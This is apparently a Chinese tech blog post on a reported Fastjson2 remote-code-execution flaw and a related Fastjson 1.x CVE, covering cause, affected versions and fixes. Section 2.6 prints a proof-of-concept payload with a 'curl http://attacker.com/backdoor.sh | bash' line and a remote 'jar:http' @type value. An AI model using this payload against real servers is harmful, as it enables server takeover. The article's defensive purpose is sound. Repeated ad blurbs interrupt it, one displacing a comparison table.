Fastjson 2 也炸了，影响数百万Spring Boot项目！

前言

最近缺项目经历想快速提升项目实战能力（包含多个AI项目），或者最近找工作，或者想学习AI的小伙伴，可以看看下面👇🏻的这个链接（或许真的能够帮到你）。

从1.x到2.x，Fastjson的“漏洞魔咒”还在继续

最近这两个星期，我的技术群几乎被同一个话题刷屏了——Fastjson又出漏洞了。

1.x的老版本和Fastjson 2先后出现了安全漏洞问题。

2026年7月27日，奇安信CERT发布紧急安全通告：Fastjson2存在远程代码执行漏洞（编号QVD-2026-45876），CVSS 3.1评分高达9.8分（满分10分），影响量级达百万级。

消息一出，整个Java技术圈都炸了。

很多小伙伴私信我：“三哥，我们刚升级到Fastjson 2，这又炸了？还能不能用了？”

说实话，这个问题问得很扎心。

Fastjson从1.x时代就是“漏洞常客”，大家好不容易熬到2.x，以为能消停一阵子，结果2.x也没能幸免。

今天这篇文章，我就把这次Fastjson 2漏洞的前因后果、底层原理、修复方案从头到尾给你拆解一遍。

希望对你会有所帮助。

一、这次漏洞到底影响谁？

1.1 漏洞概况

2026年7月27日，奇安信CERT监测到了Fastjson2远程代码执行漏洞，编号QVD-2026-45876。

核心信息：

项目	内容
漏洞编号	QVD-2026-45876
CVSS评分	9.8（满分10分）
影响版本	Fastjson2 ≤ 2.0.62
影响量级	百万级
利用条件	默认配置即可触发，无需开启SupportAutoType
在野利用	已发现攻击行为
漏洞类型	远程代码执行（RCE）

1.2 Fastjson 2.x到底有多普及？

Fastjson是国内Java生态中使用最广泛的JSON解析库，被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景。

从Spring Boot到各种微服务框架，从大厂到中小企业，几乎无处不在。数百万Spring Boot项目受到影响。

而且这次漏洞的覆盖面极广——官方确认，该漏洞在Spring Boot 2.x、3.x、4.x以及JDK 8、11、17、21上均可被利用。

有些小伙伴可能会说：“我之前用Fastjson 1.x的时候，一直开着SafeMode，应该没事吧？”

这次不一样。

旧版漏洞需要开启AutoType才能利用，很多经过加固的部署可以通过关闭AutoType来防御。

但这次默认配置即可触发，攻击者不需要任何额外配置。

二、Fastjson 2到底出了什么问题？

有些小伙伴可能会问：“Fastjson 2不是重构了吗？不是说已经修复了1.x的类型安全问题吗？怎么又出事了？”

这个问题问到点子上了。

我们得从底层原理说起。

2.1 Fastjson的“灵魂功能”：@type

Fastjson有一个非常核心的特性——@type字段。

当你反序列化JSON时，如果JSON里包含@type字段，Fastjson会根据这个字段的值去动态加载并实例化对应的Java类。

{
    "@type": "com.example.User",
    "name": "张三",
    "age": 25
}

这个功能在正常业务中非常有用——它让JSON可以携带类型信息，实现多态反序列化。

但这个功能也是一切漏洞的根源。

攻击者可以构造一个恶意的@type值，让Fastjson去加载一个攻击者控制的类，从而执行任意代码。

2.2 Fastjson 1.x的漏洞史

Fastjson 1.x的漏洞，本质上是AutoType机制的安全问题。

Fastjson 1.x有一个autoTypeSupport配置。

当开启时，@type可以指向任意类。

为了安全，Fastjson 1.x维护了一个黑名单，阻止危险类被加载。

但黑名单总是不完整的。

安全研究人员总能找到新的“Gadget类”——那些可以被利用来执行代码的类——绕过黑名单。

这就是Fastjson 1.x“漏洞不断”的根本原因。

2.3 Fastjson 2做了什么“改进”？

Fastjson 2在设计上做了一个重要的改变：默认关闭AutoType。

也就是说，在默认配置下，Fastjson 2不会处理@type字段。

这看起来堵住了最大的攻击面。

但问题出在“部分通用对象解析流程”上。

即使autoTypeSupport是关闭的，Fastjson 2在处理某些通用对象时，仍然会解析JSON中的类型字段。

2.4 这次漏洞的核心原因

哈希碰撞 + ClassLoader远程加载。

这次Fastjson 2漏洞的核心原因有两个：

第一个原因：FNV-1a哈希碰撞

Fastjson 2在判断类型是否安全时，仅依据增量FNV-1a哈希结果进行白名单判断，未进一步校验类型名称明文及协议相关字符。

简单说，Fastjson 2不是用完整的类名字符串去做白名单匹配，而是用哈希值去匹配。

攻击者可以构造一个哈希碰撞的恶意类型名称——这个名称的哈希值碰巧在白名单里，但实际指向的是一个恶意类。

第二个原因：ContextClassLoader远程加载恶意类

在Spring Boot的fat-JAR部署环境中，攻击者可以利用嵌套JAR URL来突破类型限制。

具体来说，攻击者可以让Fastjson 2通过ContextClassLoader去加载一个远程JAR包中的恶意类。

// 攻击者构造的恶意@type值
"@type": "jar:http://attacker.com/evil.jar!/EvilClass"

当Fastjson 2尝试加载这个类时，ContextClassLoader会从远程HTTP服务器下载evil.jar，并加载其中的EvilClass。

而EvilClass的静态代码块会在类加载时自动执行，从而实现远程代码执行。

2.5 完整的攻击流程

攻击者只需要发送一个JSON请求，不需要认证，不需要任何前置条件。

成功利用后，攻击者可以以应用程序权限执行任意代码，可能导致数据窃取、植入Webshell、窃取凭证或完全控制服务器。

2.6 攻击代码示例

以下是简化的攻击概念验证代码（仅限授权安全研究使用）：

// 攻击者控制的恶意类
public class EvilClass {
    static {
        try {
            // 静态块在类加载时自动执行
            Runtime.getRuntime().exec("curl http://attacker.com/backdoor.sh | bash");
        } catch (Exception e) {}
    }
}

// 攻击者发送的恶意JSON
{
    "@type": "jar:http://attacker.com/evil.jar!/EvilClass",
    "data": "anything"
}

当Fastjson 2反序列化这个JSON时，会尝试加载jar:http://attacker.com/evil.jar!/EvilClass。ContextClassLoader会从远程服务器下载JAR包并加载EvilClass，其静态代码块自动执行，实现RCE。

关键点：整个过程不需要目标应用开启AutoType，不需要任何第三方Gadget类，默认配置即可触发。

三、Fastjson 1.x也没闲着：CVE-2026-16723

就在Fastjson 2漏洞被披露的同时，Fastjson 1.x也曝出了CVE-2026-16723。

3.1 漏洞概况

CVE-2026-16723影响Fastjson 1.2.68至1.2.83版本，CVSS评分9.0。

关键特征：

• Gadget-free：不需要依赖任何第三方类库
• 默认配置即可利用：无需开启AutoType
• 已在野外被积极利用：安全公司Imperva报告称，该漏洞已在金融服务、医疗、计算和零售等多个行业被利用

3.2 与Fastjson 2漏洞的关系

这两个漏洞暴露的是同一个问题的两面：

Fastjson 1.x的问题：checkAutoType()方法中存在一条资源探测路径。当Fastjson遇到未知类型名时，会调用getResourceAsStream(typeName.replace('.', '/') + ".class")扫描类路径资源。在Spring Boot fat-JAR环境中，攻击者可以利用嵌套JAR URL机制突破限制。

Fastjson 2.x的问题：虽然架构重构了，但部分通用对象解析流程仍然会处理JSON中的类型字段，FNV-1a哈希碰撞 + ContextClassLoader远程加载的组合拳绕过了安全设计。

3.3 漏洞对比

最近缺项目经历想快速提升项目实战能力（包含多个AI项目），或者最近找工作，或者想学习AI的小伙伴，可以看看下面👇🏻的这个链接（或许真的能够帮到你）。

四、影响范围

4.1 是否受影响的判断标准

Fastjson 1.x用户：

版本	是否受影响
1.2.68 - 1.2.83	✅ 受影响
1.2.67及以下	⚠️ 可能不受此漏洞影响，但建议升级
已迁移到2.x	✅ 不受CVE-2026-16723影响

Fastjson 2.x用户：

版本	是否受影响
2.0.62及以下	✅ 受影响
2.0.63及以上	✅ 已修复

4.2 特别提醒

Fastjson 1.x已经停止维护，官方不会为1.x发布安全补丁。

如果你的项目还在用Fastjson 1.x，必须立即启动迁移计划。

奇安信估计，受影响的实例数量高达数百万。

任何解析不可信JSON的端点都可能成为攻击入口。

五、修复方案

5.1 Fastjson 1.x用户

方案一：立即启用SafeMode（临时缓解）

# JVM启动参数
-Dfastjson.parser.safeMode=true

或在代码中设置：

ParserConfig.getGlobalInstance().setSafeMode(true);

开启后，AutoType将被完全禁用。

方案二：切换到noneautotype构建版本

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83_noneautotype</version>
</dependency>

这个版本移除了AutoType支持，从根本上杜绝了此类漏洞。

方案三（推荐）：迁移到Fastjson 2.x

Fastjson 2.x在架构上消除了这类漏洞。

虽然2.x目前也有漏洞，但官方正在积极修复。

5.2 Fastjson 2.x用户

方案一：立即启用SafeMode（临时缓解）

# JVM启动参数（兼容旧属性名）
-Dfastjson2.parser.safeMode=true
-Dfastjson.parser.safeMode=true

开启后，autoType将被完全禁用。

方案二（推荐）：升级到修复版本

官方已在GitHub上提交了修复补丁。升级到2.0.63及以上版本即可彻底修复。

方案三：WAF拦截（临时措施）

在WAF上配置规则，拦截请求体中key包含@type字段的JSON数据。注意需同时覆盖URL参数和请求体两个位置，并防范编码绕过。

5.3 快速排查清单

六、这次事件的深层思考

6.1 Fastjson为什么总是“漏洞不断”？

从1.x到2.x，Fastjson的“漏洞魔咒”似乎一直没有停止。背后有几个深层次原因：

原因一：@type功能本身就是“双刃剑”

动态类型加载是Fastjson的核心竞争力，也是最核心的安全隐患。只要这个功能存在，攻击者就有机会利用它。

原因二：黑名单方案永远是被动的

Fastjson 1.x的黑名单方案，本质上是“打地鼠”——发现一个漏洞，加一个黑名单。但新的Gadget类总会不断被发现。

原因三：2.x的“改进”仍然不够彻底

Fastjson 2虽然默认关闭了AutoType，但部分通用对象解析流程仍然会处理类型字段。这个“裂缝”最终被攻击者发现了。

6.2 这次事件的启示

启示一：默认安全比功能丰富更重要

一个库再强大，如果安全问题频发，对企业来说就是灾难。

在安全与功能之间，越来越多的企业开始选择安全。

启示二：升级不是终点

从1.x升级到2.x，并没有彻底解决问题。

技术的演进需要持续关注安全。

启示三：JSON解析库的选择需要重新思考

在这个事件之后，可能会有更多企业重新评估JSON解析库的选择——Jackson、Gson等替代方案也许值得认真考虑了。

七、优缺点与选型建议

Fastjson的优点

1. 性能极高 Fastjson的性能在Java JSON解析库中一直处于领先地位，尤其是在大流量场景下。

2. API简洁JSON.parseObject()、JSON.toJSONString()等API极其简洁，上手成本极低。

3. 生态成熟 在国内Java生态中占据主导地位，文档和社区资源丰富。

4. 功能丰富 支持@type多态、JSONPath、序列化特性等高级功能。

Fastjson的缺点

1. 安全漏洞频发 从1.x到2.x，安全漏洞几乎成了Fastjson的“标配”。这次Fastjson 2也未能幸免。

2. 1.x已停止维护 Fastjson 1.x已停止维护，官方不发布安全补丁。

3. 黑名单方案被动 依赖黑名单防御的思路已经被证明是低效的。

4. 默认配置不安全 即使默认关闭AutoType，Fastjson 2仍然存在安全漏洞。

选型建议

场景	建议
新项目	慎重考虑是否使用Fastjson。如果对性能有极致要求，建议使用Fastjson 2.x最新版本并开启SafeMode
已有Fastjson 1.x项目	立即迁移到Fastjson 2.x或Jackson
已有Fastjson 2.x项目	升级到2.0.63+，或开启SafeMode
对安全要求极高的项目	考虑使用Jackson或Gson

特别提醒：无论使用哪个JSON库，永远不要反序列化不可信的JSON数据。如果必须处理外部输入，务必开启SafeMode或使用白名单机制。

八、写在最后

Fastjson 2的这次漏洞，给所有Java开发者敲响了警钟。

从Fastjson 1.x到2.x，从CVE-2026-16723到QVD-2026-45876，安全问题始终如影随形。CVSS 9.8的评分、百万级的影响量级、默认配置即可触发的利用条件——每一个数字背后，都是实实在在的生产环境风险。

1.x用户：1.x已经停止维护，不会再有官方补丁。

立即启用SafeMode，计划迁移到2.x。

2.x用户：官方已在GitHub提交修复补丁。

升级到2.0.63+之前，立即启用SafeMode（-Dfastjson2.parser.safeMode=true）。

所有用户：审查日志中是否包含携带@type字段或jar:http、jar:file模式的JSON请求。

技术选型没有完美的答案。

Fastjson的性能优势确实存在，但安全风险也不容忽视。

在安全与性能之间，需要根据项目的实际情况做出权衡。

但有一件事是确定的： 如果你的项目还在用Fastjson 1.x，现在就是迁移的最佳时机。

不是因为Fastjson 2.x完美无缺，而是因为1.x已经是一个“无人区”——出了安全问题，没人管你。

官方资源：

• Fastjson2官方修复PR：https://github.com/alibaba/fastjson2/pull/7695/changes
• 官方跟踪Issue：https://github.com/alibaba/fastjson2/issues/7702
• 奇安信安全通告：https://www.secrss.com/articles/92544
• 华为云安全通告：https://www.huaweicloud.com/eu/notice/20260727205428278.html

最近缺项目经历想快速提升项目实战能力（包含多个AI项目），或者最近找工作，或者想学习AI的小伙伴，可以看看下面👇🏻的这个链接（或许真的能够帮到你）。